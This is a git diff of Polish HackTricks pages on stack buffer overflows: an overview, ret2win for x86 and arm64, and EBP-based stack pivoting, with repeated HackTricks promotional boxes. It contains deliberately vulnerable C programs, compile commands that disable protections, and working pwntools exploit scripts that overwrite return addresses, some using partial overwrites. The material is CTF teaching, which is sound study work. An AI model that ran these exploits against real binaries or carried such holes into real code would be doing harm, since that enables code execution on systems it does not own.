Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję więcej bajtów na stosie niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
Niektóre powszechne funkcje podatne na to : **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
Na przykład, następujące funkcje mogą być podatne:
```c
@ -41,7 +41,7 @@ Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres.
Można to zrobić przy użyciu **pwntools**:
Można to zrobić za pomocą **pwntools**:
```python
from pwn import *
@ -63,29 +63,29 @@ pattern search $rsp #Search the offset given the content of $rsp
## Wykorzystywanie przepełnień stosu
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
Jednakże, w innych scenariuszach może być wystarczające **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
### Ret2win
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana:
{% content-ref url="ret2win.md" %}
[ret2win.md](ret2win.md)
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
{% endcontent-ref %}
### Shellcode na stosie
W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:
{% content-ref url="stack-shellcode.md" %}
[stack-shellcode.md](stack-shellcode.md)
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
{% endcontent-ref %}
### ROP i techniki Ret2...
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. I pozwala na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
@ -93,7 +93,7 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze
## Rodzaje zabezpieczeń
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)

View file

@ -0,0 +1,127 @@
# Ret2win
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Podstawowe informacje
**Wyzwania Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezawołanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
### Przykład w języku C
Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć poniższej komendy:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu.
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
Do eksploatacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
```sh
objdump -d vulnerable | grep win
```
To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.
Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć, skacze do funkcji `win`, a wiadomość zostaje wyświetlona.
## Zabezpieczenia
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
## Inne przykłady i odnośniki
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bity, brak ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bity z ASLR, z wyciekiem adresu binarnego
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bity, brak ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
## Przykład ARM64
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -0,0 +1,190 @@
# Ret2win - arm64
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Znajdź wprowadzenie do arm64 w:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## Kod&#x20;
```c
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Kompiluj bez flagi PIE i canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Znajdowanie przesunięcia
### Opcja wzorca
Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
Uruchom gdb z gef, stwórz wzorzec i użyj go:
```bash
gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy go wykorzystać do znalezienia przesunięcia wzorca:
```bash
pattern search $x30
```
<figure><img src="../../../.gitbook/assets/image (1203).png" alt=""><figcaption></figcaption></figure>
**Przesunięcie wynosi 72 (9x48).**
### Opcja przesunięcia stosu
Zacznij od uzyskania adresu stosu, w którym przechowywany jest rejestr pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
<figure><img src="../../../.gitbook/assets/image (1204).png" alt=""><figcaption></figcaption></figure>
Teraz ustaw punkt przerwania po `read()` i kontynuuj do momentu wykonania `read()` oraz ustaw wzorzec, na przykład 13371337:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../.gitbook/assets/image (1207).png" alt="" width="339"><figcaption></figcaption></figure>
## Brak PIE
### Regularne
Uzyskaj adres funkcji **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
Wykorzystanie:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
### Off-by-2
Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
## Z PIE
{% hint style="success" %}
Skompiluj binarny **bez argumentu `-no-pie`**
{% endhint %}
### Off-by-2
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego pliku i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
</details>

View file

@ -6,7 +6,7 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
## Podstawowe informacje
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
Ta technika wykorzystuje możliwość manipulowania **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
Jako przypomnienie, **`leave`** oznacza w zasadzie:
```
@ -28,47 +28,47 @@ I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontro
### EBP2Ret
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonania.
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego kodu powłoki (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Jeśli podczas wykonywania `fvuln` uda ci się wstrzyknąć **fałszywy EBP** na stosie wskazujący na obszar w pamięci, gdzie znajduje się adres twojego shellcode (plus 4 bajty na operację `pop`), możesz pośrednio kontrolować EIP. Gdy `fvuln` zwraca, ESP jest ustawiane na ten spreparowany adres, a następna operacja `pop` zmniejsza ESP o 4 bajty, **efektywnie wskazując na adres przechowywany przez atakującego.**\
Zauważ, że musisz znać **2 adresy**: Ten, gdzie ma trafić ESP, gdzie będziesz musiał zapisać adres wskazywany przez ESP.
#### Konstrukcja ataku
Najpierw musisz znać **adres, gdzie możesz zapisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
Najpierw musisz znać **adres, gdzie możesz pisać dowolne dane / adresy**. ESP będzie wskazywał tutaj i **wykona pierwsze `ret`**.
Następnie musisz znać adres używany przez `ret`, który **wykona kod dowolny**. Możesz użyć:
* Prawidłowy adres [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* Adres **`system()`** poprzedzony **4 niepotrzebnymi bajtami** i adresem `"/bin/sh"` (bity x86).
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **kodem powłoki** do wykonania.
* Kilka łańcuchów [**ROP**](../rop-return-oriented-programing/).
* Adres gadżetu **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) poprzedzony **shellcodem** do wykonania.
* Pewną łańcuch [**ROP**](../rop-return-oriented-programing/).
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** z powodu części **`pop`** instrukcji `leave`. Można byłoby wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
Pamiętaj, że przed każdym z tych adresów w kontrolowanej części pamięci muszą być **`4` bajty** ze względu na część **`pop`** instrukcji `leave`. Można wykorzystać te 4B, aby ustawić **drugiego fałszywego EBP** i kontynuować kontrolowanie wykonania.
#### Atak Off-By-One
Istnieje specyficzna wersja tej techniki znana jako "Atak Off-By-One". Jest używana, gdy można **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres do skoku z **`ret`** musi dzielić trzy pierwsze bajty z EBP, co pozwala na podobną manipulację przy bardziej ograniczonych warunkach.\
Zazwyczaj modyfikuje się bajt 0x00, aby skoczyć jak najdalej.
Zazwyczaj modyfikowany jest bajt 0x00, aby skoczyć jak najdalej.
Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwego łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do środka RET SLED, a ostateczny łańcuch ROP zostanie wykonany.
Jest również powszechne użycie ślizgu RET na stosie i umieszczenie prawdziwej łańcucha ROP na końcu, aby zwiększyć prawdopodobieństwo, że nowy ESP wskaże do ślizgu RET i zostanie wykonany ostateczny łańcuch ROP.
### **Łańcuchowanie EBP**
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu do `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Dlatego umieszczenie kontrolowanego adresu w wpisie `EBP` na stosie i adresu `leave; ret` w `EIP` pozwala na **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**.
Teraz **`ESP`** jest kontrolowany, wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
Teraz **`ESP`** jest kontrolowany wskazując na pożądany adres, a następną instrukcją do wykonania jest `RET`. Aby wykorzystać to, można umieścić w kontrolowanym miejscu ESP to:
* **`&(następny fałszywy EBP)`** -> Wczytaj nowy EBP z powodu `pop ebp` z instrukcji `leave`
* **`system()`** -> Wywołane przez `ret`
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie
* **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i rozpocznie ponownie
* **`&("/bin/sh")`**-> Parametr dla `system`
W ten sposób można łańcuchować kilka fałszywych EBPs, aby kontrolować przepływ programu.
To jest podobne do [ret2lib](../rop-return-oriented-programing/ret2lib/), ale bardziej złożone bez oczywistej korzyści, ale może być interesujące w niektórych skrajnych przypadkach.
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu**, aby wywołać funkcję wygrywającą. To jest ostateczny ładunek ze strony:
Ponadto, tutaj masz [**przykład wyzwania**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), które wykorzystuje tę technikę z **wyciekiem stosu** do wywołania funkcji wygrywającej. To jest ostateczny ładunek ze strony:
```python
from pwn import *
@ -106,7 +106,7 @@ print(p.recvline())
```
## EBP może nie być używany
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie, które działa poprzez kontrolę EBP, zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarny jest skompilowany z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego też jakiekolwiek wykorzystanie działające poprzez kontrolę EBP zasadniczo zawiedzie, ponieważ nie ma to żadnego rzeczywistego efektu.\
Dzieje się tak, ponieważ **prolog i epilog ulegają zmianie**, jeśli binarny jest zoptymalizowany.
* **Niezoptymalizowany:**
@ -120,7 +120,7 @@ sub $0x100,%esp # increase stack size
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
```
* **Zoptymalizowane:**
* **Zoptymalizowany:**
```bash
push %ebx # save ebx
sub $0x100,%esp # increase stack size
@ -200,4 +200,24 @@ Sprawdź technikę ret2esp tutaj:
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bity, eksploatacja off by one z łańcuchem rop zaczynającym się od ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
* 64 bity, brak relro, canary, nx i pie. Program udostępnia wyciek dla stosu lub pie oraz WWW qword. Najpierw uzyskaj wyciek stosu i użyj WWW, aby wrócić i uzyskać wyciek pie. Następnie użyj WWW, aby stworzyć wieczną pętlę nadużywając wpisów `.fini_array` + wywołując `__libc_csu_fini` ([więcej informacji tutaj](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Nadużywając tego "wiecznego" zapisu, zostaje napisany łańcuch ROP w .bss i kończy się jego wywołaniem, obracając się z RBP.
## ARM64
